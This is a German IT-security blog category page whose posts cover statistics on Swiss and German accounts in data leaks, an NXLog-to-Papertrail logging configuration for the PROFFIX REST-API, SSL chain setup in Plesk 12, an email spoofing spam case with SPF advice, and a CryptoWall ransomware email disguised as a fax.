Category "Web"

Artikel zum Thema Internet, Web und Sicherheit.

Leaking Switzerland – 8 Millionen sind erst der Anfang

- - Allgemein, IT, Web
  1. Hacking Switzerland: Dataleaks
  2. Alles über Schweizer Passwörter
  3. Die Schweiz in der Anti Public Combo List
  4. Leaking Switzerland – 8 Millionen sind erst der Anfang

Seit über einem Jahr sammelt und analysiert SwissLeak.ch nun geleakte Schweizer Accounts. Nach über 8  Millionen geleakten Schweizer Accounts ist es Zeit für einen kurzen Rückblick.

Am Anfang stand Dropbox

Begonnen hat SwissLeak mit den Datensätzen aus dem Dropbox-Leak. Mittlerweile sind Datensätze von mehr über 3000 Leaks in SwissLeak enthalten; Als Anmerkung – es werden nur solche gelistet, die auch Schweizer Accounts enthalten bzw. auf Schweizer Benutzer zurückgeführt werden können.

Effektiv sind es also wesentlich mehr – oder in Zahlen ausgedrückt; mehrere Milliarden von durchsuchten Datensätzen. Und es werden nicht weniger.

Im Gegenteil: Waren es anfangs vor allem geleakte Services aus den USA oder Asien, geraten vermehrt auch Services aus der DACH – Region ins Fadenkreuz.

SwissLeak hat mittlerweile neben den grossen und bekannten Datenleaks auch viele kleine, lokale aber nicht minder gefährliche Datensätze im Repertoire.

SwissLeak History

Anzahl und Zeitlicher Verlauf der importierten Accounts / Quellen. (Live-Grafik: swissleak.ch/history)

Die Kernidee

Wir haben SwissLeak mit der Idee aufgeschaltet, um zu zeigen dass Datenleaks auch die Schweiz in starkem Masse betreffen. Mit Absicht haben wir nur Organisationen von breitem, öffentlichem Interesse publiziert – wenn gleich private und KMUs im gleichen Massen betroffen sind.

Durch die Konzentration auf „nur ein Land“ (und erst noch ein verhältnismässig kleines) hat SwissLeak maximale Tiefe und Genauigkeit. Wo andere Millionen von Datensätzen einfach importieren, kann sich SwissLeak erlauben fehlerhafte oder unvollständige Leaks zu korrigieren und mit Metadaten anzureichern.

Ein weiterer Grund für die Realisation von SwissLeak ist das, was der Bund generell als Versorgungssicherheit bezeichnet. Wir bunkern Material, Öl, Waffen und Lebensmittel – Daten verteilen wir aber grosszügig in der ganzen Welt. Was dabei zu denken gibt ist nicht etwa das Auslagern von Daten sondern vielmehr unser Umgang mit dem Bereich IT.

Wir sind versucht insbesondere im Sicherheitsbereich nur noch auf Inputs von anderen Ländern zu reagieren – was und wie viel uns dabei mitgeteilt wird bleibt im Ungewissen. Dass solche Ideen keine Utopie sind und diese Inputs tatsächlich manipuliert werden zeigen diverse Vorkommnisse der jüngsten Verhangenheit (z.B: „WannaCry„).

Wenn wir uns also schon selbst als „digitales Land“ feiern sollten wir uns auch mit der Kehrseite der Medaille befassen – denn die hat es in sich…

Ein tieferes Verständnis von Datenleaks

Ein Datenleak ist nicht einfach ein Passwort und eine Emailadresse, welches durch Zufall ins Netz gelangt.

In der Summe sind sie ein Abbild des digitalen Lebens eines jeden einzelnen. Man kann dadurch nicht nur bestehende Interessen, Vorlieben und Schwächen eines Benutzer erkennen sondern auch zukünftige Verhalten erahnen.

Viele Benutzer können oder wollen die kurz-, mittel- und langfristigen Konsequenzen eines Datenleaks aber nicht verstehen – mitunter ein Grund, dass viele Schweizer Benutzer / Passwortkombinationen auch nach einem bzw. mehreren Leaks immer noch Gültigkeit haben.

Auf Organisationsebene scheint der Wille, die Datensicherheit zu erhöhen bzw. das Benutzerverhalten zu korrigieren nur in der IT- oder PR – Abteilung vorhanden zu sein. Der bereits im Artikel Hacking Switzerland: Dataleaks erwähnte Grundsatz  „Dementieren, Entschärfen, Vergessen“ findet auch hier rege Anwendung.

SwissLeak verhindert das nicht bzw. drängt weder die Organisation noch den Benutzer dazu, entsprechende Massnahmen zu treffen und entfernt den öffentlich zugänglichen Eintrag unkompliziert und ohne grosse Formalitäten. Da dieses Entfernen aber einer Kenntnisnahme gleichkommt, behält sich SwissLeak natürlich vor, in einem Ernstfall die entsprechenden Stellen auch nachträglich zu informieren.

Medien und Berichterstattung

Gerade in letzter Zeit gibt es vermehrt Medienmitteilungen, Zeitungsberichte und Onlinereportagen die über Datenleaks und die Schweiz berichten.

Praktisch alle Artikel sind relativ flach, schüren Ängste und sind in erster Linie purer Populismus.

Die Aussagekraft entsprechender Artikel tendiert gegen Null – wenn überhaupt werden alte und oftmals auch halbwahre Behauptungen aufgestellt bzw. einfach „nachgeplappert“.

Dazu auch ein Beispiel: SwissLeak.ch hatte im Jahr 2017 eine Anfrage eines grösseren Schweizer Medienhauses, welche mit folgender Einleitung begann:  „Um einschätzen zu können, ob sich ein Bericht darüber lohnt…“

Eigentlich sollte die erste Frage eines Journalisten in so einem Fall sein „Stimmt der Unsinn den ihr da verbreitet überhaupt und könnt ihr das beweisen?“ und nicht „Wieviel Publicity bekommen wir denn damit?“

So viel dazu. Generell weiss man in der Schweiz manchmal nicht so recht, nach welchen Kriterien die Berichterstattung erfolgt.

Zwar wurde lang und breit über die vom Dropbox-Leak betroffenen Politiker berichtet oder aber ein Wirbel um die 21’000 Userdaten in der COMBO-Liste von MELANI gemacht – Details zu den fast 800’000 Schweizer Accounts aus der Anti – Public Combo List scheinen den Medien aber entgangen zu sein.

Oder ist das etwa, weil man 20 geleakte Politiker besser verkaufen kann, als ein paar Millionen geleakte Accounts von Steuerzahlern?

Bund, Kantone und Gemeinden

Zugegeben – in der Schweiz „lästern“ wir auf hohem Niveau. Es gibt aber in letzter Zeit immer wieder die Tendenz, dass Bund, Kantone und Gemeinden Aufgaben übernehmen die sie weder etwas angehen noch eigentlich in ihren Aufgabenbereich gehören.

Entsprechend üppig fällt der ganze Behördenapparat mittlerweile aus – und findet sich zu einem nicht unbeträchtlichen Teil auch wieder in der Datenbank von SwissLeak.

Tatsächlich haben wir in der Schweiz mit MELANI gerade in diesem Bereich sogar eine staatliche Organisation, deren Aufgabe unter anderem der Schutz von Informationsdienstleistungen ist.

Wenn wir ehrlich sind – MELANI scheint diesbezüglich in der Schweiz sogar die einzige, offizielle Anlaufstelle.

Abgesehen von der sicher nicht immer einfachen Anspruchsgruppe, dem für ihren Aufgabenbereich viel zu tiefen Budget und der häufig fehlenden Anerkennung ist MELANI für die Schweiz so etwas wie die „letzte Bastion“, der letzte Schutzwall gegen Aussen.

Trotzdem gehören sensible Benutzerdaten von Einwohnern genauso wenig in die Hand einer staatlich kontrollierten Organisation wie in die eines ausländischen Nachrichtendienstes. Das hat nichts mit Misstrauen gegenüber einzelnen Mitarbeitern zu tun, sondern mit einem gesunden Argwohn gegenüber dem System „Staat“ an sich.

Gerade in Bezug auf das neue Nachrichtendienstgesetz der Schweiz bzw. den „natürlichen Austausch verschiedener Stellen untereinander“ ist es nur eine Frage der Zeit bis solche Datensätze auch von anderen Stellen angefordert und genutzt werden.

Gleichgültigkeit

Mit SwissLeak Research haben wir eine Erweiterung ins Leben gerufen, welche die Betroffenheit jeder Schweizer Gemeinde von Datenleaks zeigt.

Mittlerweile sind über 3800 Organisationen mit geleakten Accounts, über 1400 Gemeinden und total über 8,3 Millionen geleakter Schweizer Accounts in der Masterdatenbank von SwissLeak.

Anmerkung: Sollten Organisationen oder Gemeinden auf SwissLeak.ch nicht aufgeführt sein liegt das nicht an fehlenden Rohdaten sondern daran, dass diese noch nicht zugewiesen sind (beinahe der grösste Aufwand…)

Entsprechend dürfte man doch annehmen, dass obige Publikationen eine Reaktion provozieren, oder?

Weit gefehlt. Zwar haben sich einige Organisationen gemeldet, verglichen mit der Anzahl Betroffener aber ein schlechter Witz.

In einen ähnlichen Bereich gehört „die fehlende Bereitschaft zuzuhören„.  Originalaussagen wie „ich bin jetzt seit 20 Jahren in der IT und wir hatten noch nie Probleme mit Datenleaks…“ mögen vor 20 Jahren Gültigkeit besessen haben – heute sind sie  in Anbetracht von IoT, Cloud und Socialnetworking einfach nur falsch!

Automatische Suche

In diversen Gesprächen wurden Aussagen gemacht, dass man „Leaks auch automatisch suchen kann“.

Es gibt genau zwei Gründe, wann dies tatsächlich automatisch funktioniert:

  • Die Daten werden von einem Fremdanbieter in bereits aufbereiteter Form importiert („Resale…“)
  • Es wird nur nach Emailadressen gesucht (ohne Zusammenhang oder Metadaten)

Beide Varianten sind ungenau (was importieren wir eigentlich?), nicht aktuell und lassen die interessanten Informationen (Passwörter, Metadaten) weg.

SwissLeak nutzt – bis auf wenige Ausnahmen – ausschliesslich Rohdaten die manuell geprüft, analysiert, bereinigt, angereichert und importiert werden.

Dazu vielleicht auch noch als weitere Klarstellung – es gibt keine zentrale Datenbank, wo jeder „seine Leaks“ in einer schön formatierten „Excel – Tabelle“ hochlädt (bei Datensätzen von 5GB+ sowieso ein Ding der Unmöglichkeit…)

Leaks werden gehandelt, getauscht und – wen überrascht es – geleakt.

Die Datensätze die man erhält bzw. findet sind von „formatiert“ bis hin zum „absoluten Chaos“ immer unterschiedlich aufgebaut. Damit zumindest eine grundlegende Übersicht entstehen kann, müssen diese manuell vereinheitlicht und analysiert werden – etwas das (noch) kein System automatisch hinbekommt.

Quo vadis?

Wohin wir bezüglich Schweiz und Datenleaks steuern ist ungewiss – weder kennen wir die ganzen Dimensionen („8 Mio sind erst der Anfang“) noch die langfristigen Auswirkungen.

Gewiss hingegen ist, dass wir weder genügend darauf vorbereitet sind noch dass wir auch nur im Ansatz genügend Sorgfalt mit unseren Onlineaccounts und Passwörtern walten lassen.

In bisherigen Beiträgen haben wir immer wieder einen Ausblick in die Zukunft gewagt. Teile davon sind bereits eingetroffen (z.B. Phishingmails im Namen von Behörden; Woher stammen wohl die Emailadressen?) – andere Zukunftsszenarien sind noch ausstehend.

Was wir heute machen ist nicht nachhaltig; Weist man einen Benutzer auf ein Datenleak hin, wird er dort sein Passwort ändern müssen – vielleicht ändert er sein Passwort auch noch bei einem zweiten oder dritten Account mit demselben, neuen Passwort – ganz sicher aber wird er nicht einen halben Tag aufwenden nur um sämtliche Passwörter zu ändern.

Ähnlich verhält es sich mit den Tools um Online zu prüfen ob man betroffen ist; in den meisten Fällen überwiegt die Erleichterung, dass man nicht betroffen ist der Tatsache, dass dieses Tool nur einen Ausschnitt von möglichen Leaks zeigt.

Das Problem ist die ihr zugrunde liegende Annahme: Wir gehen davon aus, dass nur einige Benutzer von Datenleaks betroffen sind.

Eigentlich ist es aber genau anders. Nur einige Benutzer sind nicht von Datenleaks betroffen!

Entsprechend liefern solche Tools auch nicht die Gewissheit, dass man nicht betroffen, sondern nur, dass man definitiv betroffen ist. Oder vereinfacht formuliert: Die Chance, dass zumindest ein persönlicher Account geleakt wurde ist höher, als dass man bis jetzt noch von keinem Leak betroffen ist.

 

PROFFIX REST-API Live Debugging

- - IT, Snippets, Web

Das Debuggen von Applikationen mit der PROFFIX REST-API ist gerade für komplexere Projekte suboptimal, da die Logfiles als reine Textfiles vorliegen. Mit folgender Konfiguration sind die Logfiles der PROFFIX  REST-API nicht nur sortier- und kategorisierbar sondern auch immer live verfügbar.

Das Problem

Die PROFFIX REST-API schreibt Logfiles im Textformat in einen Ordner log. Das sieht dann so aus:

2017-10-06 13:37:39.7168: INF: [PxRestApi.Authentication.PxAuthenticationMiddleware]: PROFFIX was not authenticated. Failure message: Nicht authentifiziert. 
2017-10-06 13:37:39.7939: DBG: [Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware]: The request path /pxapi/v2/ADR/Kontakttyp does not match a supported file type 
2017-10-06 13:37:39.7939: DBG: [Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware]: The request path /pxapi/v2/ADR/Kontakttyp does not match a supported file type
2017-10-06 13:37:39.7939: DBG: [Microsoft.AspNetCore.StaticFiles.StaticFileMiddleware]: DELETE requests are not supported

Für eine einfache Verwendung oder kleine Fehler mag das ausreichen. Jeder der aber einmal etwas komplexere Applikationen (wie etwa pApp – das App für PROFFIX) mit mehreren, verschachtelten Interaktionen debuggt hat, weiss wie mühsam das wird.

Deshalb hier eine bessere und vollständig individualisierbare Alternative – die übrigens auch für andere Logfiles funktioniert.

Die Lösung

Textfile mit nxlog parsen

NXLog ist ein Tool das sowohl für die Sammlung von Logfiles als auch das Parsing von Logfiles genutzt werden kann. Und das Beste daran – in der Community Version ist es absolut kostenlos.

Diese kann man hier herunterladen, anschliessend ganz gewohnt installieren.

NXLog selbst wird über die Datei nxlog.conf konfiguriert, die man gewöhnlich im Ordner C:\Program Files (x86)\nxlog\conf findet.

Um die Logfiles der PROFFIX REST-API zu parsen kann man folgende, vorkonfigurierte Config verwenden:

define ROOT C:\Program Files (x86)\nxlog
define CERTDIR %ROOT%\cert

Moduledir %ROOT%\modules
CacheDir %ROOT%\data
Pidfile %ROOT%\data\nxlog.pid
SpoolDir %ROOT%\data
LogFile %ROOT%\data\nxlog.log

<Input watchfile>
   Module im_file
## Pfad zum Ordner Log der REST-API Instanz anpassen
   File 'C:\\PXREST\\PXDEMO\\logs\\*.txt'
## Verwirft uninteressante Logs
   Exec if ($raw_event =~ /(The request path) (\S+) (does not match a supported file type)/) drop(); \
## Splittet Logs mit Regex auf
   Exec if $raw_event =~ /^(\S+ \S+): (\S+)\:\s\[+(\S+)\]\:\s(.*)/\
                { \
                  $EventTime = parsedate($1); \
                  $Message = $2+' '+$4; \
                  $SourceName = $3; \
## Syslog Severity / Für Papertrail unnötig
##       if $2 =~ /DBG/  $SyslogSeverity = 7; \
##       else $SyslogSeverity = 6; \
                } \
  SavePos TRUE  
  Recursive TRUE
</Input>

<Processor filewatcher_transformer>
  Module pm_transformer
  OutputFormat syslog_rfc5424
</Processor>

<Output syslogout>
       Module om_ssl
## Papertrail Host und Port anpassen
       Host xxxx.papertrailapp.com
       Port xxxxx
       CAFile %CERTDIR%/papertrail-bundle.pem
       AllowUntrusted FALSE
</Output>
<Route 1>
	Path watchfile => filewatcher_transformer => syslogout
</Route>

Diese Konfiguration erstellt aus dem PROFFIX REST-API Log automatisch ein Syslog, der per Netzwerk an beliebige Empfänger gesendet werden kann  – und zwar live. Oder anders ausgedrückt – sobald ein Log-Ereignis eintritt, versendet NXLog das geparste und aufbereitete Ereignis automatisch.

Papertrailapp für Live – Log nutzen

Grundsätzlich könnte man mit NXLog praktisch jeden Log – Empfänger nutzen (z.B. Synology NAS Protokollcenter, Windows Ereignisprotokoll…)

Der Vorteil von Papertrailapp sind aber die diversen Filter – und Syntaxtypen kombiniert mit der Möglichkeit, Log – Events auch an weitere Benutzer freizugeben.

  1. Account erstellen unter https://papertrailapp.com
  2. Unter Add System ein neues System hinzufügen
  3. Den Log – Endpunkt (z.B:  logs5.papertrailapp) sowie den Port (z.B. 45353) von Papertrail in die NXLog – Konfiguration übertragen (ist auskommentiert).
  4. Das Zertifikat von Papertrail unter https://papertrailapp.com/tools/papertrail-bundle.pem herunterladen und im Ordner C:\Program Files (x86)\nxlog\cert abspeichern
  5. Den Dienst nxlog neu starten.

Eine detailliertere Anleitung in Englisch gibts auch hier: https://help.papertrailapp.com/kb/configuration/configuring-remote-syslog-from-windows/

Anschliessend kann man sich auf Papertrailapp.com einloggen und sollte bereits erste Logs sehen:

PROFFIX REST API Live Log

Anschliessend kann man unter Settings -> Event Viewer auch noch weitere Filter konfigurieren und auch weitere Benutzer (z.B. Entwickler) hinzufügen.

Papertrail PROFFIX REST Custom_Filter

Dieser Filter macht die Logkategorien Debug, Trace und Info klick- und sortierbar.

Deutschland in der Anti Public Combo List

- - IT, Web

Dieser Artikel ist ein Folgeartikel zu Die Schweiz in der Anti Public Combo List und beschäftigt sich analog mit Accounts aus „dem grossen Kanton“.

Vielleicht gleich zu Beginn: Dieser Leak bzw. dessen Handhabung ist ein Paradebeispiel für ein Grundproblem im Netz. Der Leak selbst ist seit mindestens Anfang Mai 2017 bekannt (vgl. auch Die Schweiz in der Anti Public Combo List). Interessiert hat es in Europa (dazu zählen Deutschland aber auch die Schweiz …) keinen; in der Schweiz wurde bis heute nicht öffentlich über diesen Leak berichtet.

In Deutschland erfolgt die Veröffentlichung durch das BKA 2 Monate zu spät; die Medien nahmen es auf, bauschten es auf (aus 43 Millionen werden „gut 50 Millionen“…) und führten dem gewöhnlichen Benutzer vor „wie unsicher er doch ist“. Nach zwei Tagen war der Spuk vorbei – das Thema Datensicherheit auf den Titelblättern wird wieder durch die üblichen B-Promis ersetzt, die Passwörter bleiben grössenteils diesselben.

Dieser Ablauf war analog bei den Leaks von Dropbox, LinkedIn… – die kurzfristige mediale Aufmerksamkeit zählt mehr als ein nachhaltiges Umdenken.

In Kürze

  • Die Anti Public Combo List enthält 43’819’502 Accounts mit der Endung .de
  • Die Combo List enthält nur Emailadressen und dazu passende Passwörter im Klartext
  • Es sind gemischte Kombinationen von verschiedenen Quellen (also nicht nur Emailpasswörter!)
  • Es ist nicht möglich zuverlässig zu bestimmen wie viele deutsche Benutzer tatsächlich in der Combo List sind (z.B. solche mit Email wie @gmail.com, @hotmail.com)
  • Es ist fraglich ob alle Emails mit Endungen .de auch tatsächlich Benutzern aus Deutschland gehören

Trotz dieser Einschränkungen ist Anti Public Combo List aber ein interessanter Indikator um die Betroffenheit von Leaks in Deutschland abzuschätzen.

Vorausgesetzt, das Verhalten von Deutschen und Schweizern ist zumindest im Internet ähnlich, kann man mittels der Datensätze von SwissLeak.ch die ungefähre Anzahl von betroffenen Deutschen im Ganzen hochrechnen:

In Leak enthaltenAnteilTotal
Schweiz (Anti Public Combo List) 782'2124.893'825'420
Deutschland (Anti Public Combo List)43'819'5024.89214'299'959
Schweiz (Dropbox)378'81710.093'825'420
Deutschland (Dropbox)2'987'47210.0932'563'444

Es zeigt sich aber schnell, dass diese Hochrechnung für Deutschland nicht funktioniert. Eine Hochrechnung aufgrund der Anti Public Combo List würde 214 Millonen betroffener deutsche Accounts ergeben, gemäss dem Leak von Dropbox.com etwas mehr als 32 Millionen…

Realistisch betrachtet werden in Deutschland etwa 40 – 50 Millonen Benutzer (nicht Accounts!) von Leaks betroffen sein.

Der Umkehrschluss der Hochrechnung aber bedeutet, dass in der Schweiz verglichen mit Deutschland überdurchschnittlich viele Benutzer betroffen sind.

Die häufigsten Passwörter der deutschen Benutzer

PasswortVorkommen ComboVorkommen SwissLeak.ch
1234560.55470.6561
1234567890.43390.1178
iloveyou0.3943
123456780.37750.0932
passwort0.36990.0330
12345670.36530.0409
1111110.35950.0461
1231230.3594
abc1230.3584
12345678900.3571

Abbildung: Die häufigsten Passwörter der deutschen Benutzer in der Anti Public Combo List im Vergleich mit Daten aus SwissLeak.ch

Die Verteilung der häufigsten Passwörter ist ähnlich aber nicht identisch mit der Schweiz. Interessanterweise gibt es tatsächlich nationale Unterschiede in der Passwortverteilung (z.B. „iloveyou“) – die Top Passwörter 123456 bzw.123456789 bleiben aber gleich…

Betroffenheit deutscher Benutzer

Betroffen ist ähnlich wie in der Schweiz grundsätzlich jeder deutsche Benutzer. Von Staats – und Bundesbetrieben über Versicherungen bis hin zum privaten Rentner ist eigentlich alles vorhanden.

DomainVorkommen Combo
web.de25.20
gmx.de20.12
yahoo.de15.74
lycos.de11.89
epost.de11.79
yaho.de3.21
t-online.de2.63
freenet.de2.45
live.de1.51
arcor.de0.79

Abbildung: Die am häufigsten betroffenen deutschen Domains in der Anti Public Combo List.

Ein Viertel (25.20 %) aller betroffenen Accounts läuft über den Provider Web.de, ein Fünftel über gmx.de.

Es liegt nahe, dass viele, technisch weniger versierte Benutzer Web.de als Emailprovider nutzen (vgl. bluewin.ch in der Schweiz).

 

Staatliche deutsche Behörden

Direkt vom Leak betroffene Benutzer des deutschen Staates (@**.bund.de) sind gerade einmal 747 Stück vorhanden.

Verglichen mit der Schweiz (1315 Stück) und in Anbetracht des wesentlich „grösseren“ Deutschen Staatsapparates ist das erstaunlich.  Blocken die deutschen Behörden vielleicht Social Media Plattformen oder sind die deutschen Beamten einfach vorsichtiger im Umgang mit Ihren Daten?

Kommunale deutsche Behörden

Wenn man sich die Mühe macht und die gesamte Anti Public Combo List nach Domains von deutschen Städten und Orten absucht, findet man etwas über 18’000 Accounts. Die Top40 gestalten sich in etwa wie folgt:

DomainAnteilAccounts
berlin.de14.652687
hamburg.de13.092401
koeln.de13.012386
muenster.de6.901265
wolfsburg.de5.40991
bremen.de1.88344
list.de0.78143
bremerhaven.de0.69127
muenchen.de0.69126
schwerte.de0.63116
eschweiler.de0.58107
schwaebisch-hall.de0.5398
mannheim.de0.4379
bonn.de0.2954
stuttgart.de0.2750
freudenberg.de0.2750
oppenheim.de0.2444
solingen.de0.2241
schiltach.de0.2139
wiesbaden.de0.2138
pfaffenhofen.de0.1935
heidelberg.de0.1732
harsefeld.de0.1731
saarbruecken.de0.1630
bruchsal.de0.1630
potsdam.de0.1629
goettingen.de0.1528
bochum.de0.1528
eppendorf.de0.1527
langenfeld.de0.1425
vaterstetten.de0.1425
fulda.de0.1324
dresden.de0.1324
darmstadt.de0.1323
leipzig.de0.1323
kiel.de0.1222
vegesack.de0.1222
gelsenkirchen.de0.1121
halle.de0.1121
jena.de0.1121
augsburg.de0.1121

Abbildung: Top40 der enthaltenen Städte mit prozentualem Anteil an deutschen Städten sowie der Anzahl Accounts

Selbstverständlich ist die Liste unvollständig – im Gegensatz zu SwissLeak.ch wurde nur eine sehr grobe Suche durchgeführt (bei 43 Millionen Accounts verständlich…)
Auch nicht berücksichtigt wurde, dass diverse deutsche Städte anscheinend „ihre Domain“ als private Email anbieten (z.B. Berlin). Diesen Service haben wir in der Schweiz nicht…

Passwortlänge

DeutschlandDeutschland (bereinigt)Schweiz
Staat8.93 Stellen8.728.21 Stellen
Alle9.37 Stellen9.058.07 Stellen

Abbildung: Durschnittliche Passwortlänge der deutschen Accounts sowie Vergleich zur Schweiz

Die durchschnittliche Passwörtlänge der deutschen Benutzer in der Anti Public Combo List beträgt 9.37 Stellen – ein Wert der nur bedingt realistisch ist.

Filtert man die diversen Hash-Werte (= noch nicht entschlüsselte Passwörter), Emailadressen und sonstige, klar nicht passenden Passwörter erhält man ein durchschnittliche Passwortlänge von 9.05  Stellen für deutsche Accounts.

Verglichen mit den Benutzer aus der Schweiz (8.07 Stellen) ist das auf diese Menge immer noch erstaunlich.

 

PS: Arbeiten Sie bei der deutschen Telekom? Interessenshalber – was genau steht in DOC-383006 ?

Comodo Positive SSL und Plesk 12

- - Snippets, Web

Comodo Positive SSL ist günstig, sicher und perfekt für den schnellen Einsatz zwischendurch geeignet. Die Installation auf Plesk 12 bringt aber einige Stolpersteine mit sich. Wie man trotzdem das Zertifikat sauber und vor allem korrekt installiert – in diesem Beitrag.

 

Es fehlt ein Feld?

Von Comodo erhält man ein Zip-File mit folgendem Inhalt:

Comodo Positive SSL

 

In Plesk 12 gibts zum Upload der entsprechenden Zertifikate aber leider „nur“ zwei Felder:

Plesk 12 SSL

 

Lädt man nun nur zwei Zertifikate hoch, wird SSL im Browser zwar als „gültig“ erkannt, mit gängigen SSL-Checkern (z.B. SSL-Trust, SSL-Labs) wird aber ein „missing Certificate Chain“ gemeldet. Noch problematischer wird das ganze, wenn man diese unvollständige Einrichtung beispielsweise mit Software direkt „anzapfen“ möchte. Unter Umständen funktioniert dann nämlich die mit SSL gesicherte URL nicht.

Eine Lösung muss also her.

Die Lösung mittels Texteditor

Die Lösung ist anschliessend dann zum Glück nicht weiter schwierig.

Folgende Zertifikate müssen in diese Reihenfolge im Texteditor geöffnet und in dieser Reihenfolge in das Feld CA-Zertifikat kopiert werden:

  • COMODORSADomainValidationSecureServerCA.crt
  • COMODORSAAddTrustCA.crt
  • AddTrustExternalCARoot.crt

Das übrige Zertifikat www_my_domain_ch.crt sollte ins Feld Zertifikat kopiert werden.

Anschliessend auf Text senden klicken und alles wird so klappen wie es sollte.

Tipp: Die Zuordnung ist in den obigen Screenshots bereits passend farblich hinterlegt…

 

From Russia with Love

- - Allgemein, IT, Web

Ginge es nach den Mitteilungen in unseren SPAM-Ordnern, bekäme man nicht nur täglich unglaubliche Erbschaften sondern auch noch gleich die grosse Liebe frei Haus. Dass diese nicht immer ganz so einfach aufgibt und manchmal auch zur Brechstange greift zeigt folgender Artikel.

Teil 1: Liebe auf den ersten Blick

Alles Beginnt mit einem Mail das vielen bekannt vorkommen dürfte. Solche Mails erhalten wir täglich –  sehen sie als offensichtlichen SPAM zum Glück aber praktisch nie.

Russia with Love

Diese SPAM-Nachricht ist aber etwas anders; Zum einen erfolgt die Personalisierung der Nachricht nicht nur im Mail selbst (Hello…) sondern bereits in der Absenderadresse (…@bezeqint.net).

Welchen Vorteil sich der Spammer (= Evgeniya ;)) wohl davon erhofft?

Wirft man dann einen Blick in den E-Mailheader wird schnell klar, dass diese SPAM anscheinen tatsächlich über den Mailserver von Bezeqint.net (israelische Telekommunikationsgesellschaft) gesendet wurde. Der SPF-Fehler / Softfail hingegen zeigt, dass der Empfängerserver (in diesem Fall Google Apps) festgestellt hat, dass die Mailadresse beim Empfänger gar nicht existiert.

Return-Path: <[email protected]>
Received: from bzq-79-176-7-**.red.bezeqint.net (bzq-79-176-7-83.red.bezeqint.net. [79.176.7.**])
        by mx.google.com with ESMTP id r2si8280383lar.102.2015.04.24.06.42.37
Received-SPF: softfail (google.com: domain of transitioning [email protected] does not designate 79.176.7.** as permitted sender) client-ip=79.176.7.**;
Authentication-Results: mx.google.com;
       spf=softfail (google.com: domain of transitioning [email protected] does not designate 79.176.7.** as permitted sender) [email protected]
From: "Evgeniya" <[email protected]>

Dies hat folgende Punkte  zur Folge:

  • Diese E-Mail wird als SPAM klassifiziert
  • Die Absenderdomain hat keine Konsequenzen zu befürchten (Blacklist…)

Das System funktioniert in diesem Fall fast perfekt;

Teil 2: Mit der Brechstange

Nachdem man Evgeniya in Teil 1 nicht weiter beachtet hat, geht man davon aus, dass sie sich anderweitig umgesehen hat.

Leider scheint sie aber von hartnäckiger Natur zu sein und versucht es nun anstelle von Blumen mit der Brechstange. Diverse Mitteilungen „Delivery Status Notification Failure“ (=Mail gleich unzustellbar) im Posteingang zeugen von ihrem hartnäckigen Werben…

Mail Delivery Failed

Der Inhalt derselben ist identisch mit der ursprünglichen Nachricht – mit zwei Unterschieden:

  • Absender ist neu eine gefälschte Mailadresse der Domain aus Teil 1
  • Empfänger ist neu (=Teil der Mailadresse vor dem @)

Spoofing

Was hat Evgeniya versucht? Nun – nichts anderes als im Namen der ersten Mail weitere „Kunden“ anzulocken. Die Mailadresse, die dabei als Absender genutzt wird ([email protected]) exisitiert nicht und wird gefälscht (sog. Spoofing).

Es ist davon auszugehen, dass auch beim nächsten Empfänger als Absender wieder eine gefälschte Phantasieadresse des Vorgänger verwendet wird.

Das entsprechende Schema dazu dürfte bekannt vorkommen; ein typisches Schneeballsystem.

Spoofing

Spoofing alias Evgeniyas Way of Love…

Durch die Kombination von Spoofing und Spamming wird zwar die „Erfolgsquote“ von Evgeniya drastisch sinken, andererseits gibt es dafür keinen konkreten SPAM-Mailserver bzw. SPAM-Domain die man sperren könnte. Bei jedem Versand sind andere Domains und Mailserver betroffen…raffiniert, nicht?

Kollateralschäden

Problematisch an dieser Art von Spam + Spoof ist dabei nicht nur die verschmähte Liebe sondern v.a. dass durch das Spoofing leicht an sich unschuldige Dritte als Spammer gekennzeichnet werden können.

Wenn bei einer Domain keine korrekten SPF – Einträge gesetzt sind (d.h. der Empfänger kann nicht überprüfen ob die ensprechenden Mails auch vom authorisierten Absendern kommen) oder dies anderweitig überprüft wird (z.B. standardmässig mit Google Apps) wird der Absender bei ausreichender Anzahl an Beschwerden als Spammer markiert…

 

Um solche Fälle zu vermeiden empfiehlt sich dringend korrekte SPF-Records zu setzen. Einen entsprechenden Generator dazu gibt es etwa hier oder hier. Der so erstellte Eintrag muss anschliessend als TXT in den DNS-Einträgen der Domain hinterlegt werden.

Zwar braucht das etwas Zeit, langfristig macht man Evgeniya damit aber einen Strich durch die Rechnung…

Ein Fax mit Folgen

- - IT, Web

Wer von einem Bekannten eine E-Mail mit dem Anhang fax-message876-792-093.zip erhält, tut gut daran diese nicht zu öffnen. Weder handelt es sich um einen Fax noch wurde die Nachricht in dessen Absicht versendet…

Im Gegensatz zum Artikel SPAM – Back to the Roots ist der Nachrichtentext diesmal etwas sinnvoller – wenn auch immer noch auf Englisch:

You have received fax from EPSON16843115 at ****

Besonders boshaft an dieser Version ist aber die Art der Verbreitung. Der Absender ist dem Empfänger bekannt und auch der Mailversand erfolgt über den korrekten Mailserver des Absenders. SPAM-Filter werden dadurch weitestgehend ausgehebelt. Rein technisch kommt das Mail ja vom korrekten Empfänger.

Da zum Versand der Nachricht das persönliche Adressbuch des Absenders genutzt wird, besteht von Anfang an ein Bezug zu diesem Mail – die menschliche Neugier garantiert, das ein Grossteil aller Empfänger diese Nachricht auch öffnet.

Kein(e) Fax(en)

FAX ZIPSpätestens beim Öffnen des mitgesendeten Fax müsste man misstrauisch werden. Ein Epson – Drucker der ein Fax nicht nur komprimiert und automatisch versendet, sondern daraus auch noch einen Anwendung erstellt? Erstaunlich…

 

Entsprechend wenig mit einem Fax hat der Inhalt dann tatsächlich zu tun. Öffnet man nämlich die komprimierte bot.exe passiert erst einmal – nichts. Also noch einmal öffnen…

Doch erst nach einigem Klicken und Drücken erscheint dann das „Fax“:

Fax CryptoWall3

 

Leider handelt es sich nicht um einen Fax sondern um die Ransomware CryptoWall.

Im Gegensatz zur üblichen Ransomware, die den Computer „nur sperrt“ beginnt CryptoWall sämtliche Daten zu verschlüsseln. Eine Entschlüsselung ist nur möglich, wenn der entsprechende Entschlüsselungcode gekauft wird. Dies empfiehlt sich aber nicht!  

Es gibt keine Gewissheit, dass

  • nach Bezahlung eine Enschlüsselung möglich ist
  • der Preis nach Bezahlung nicht plötzlich steigt.

Die Sinnvollste Lösung ist das professionelle Entfernen des Ransomware und das Einspielen eines aktuellen Backups.

 

Im Hintergrund

Was passiert aber eigentlich im Hintergrund?

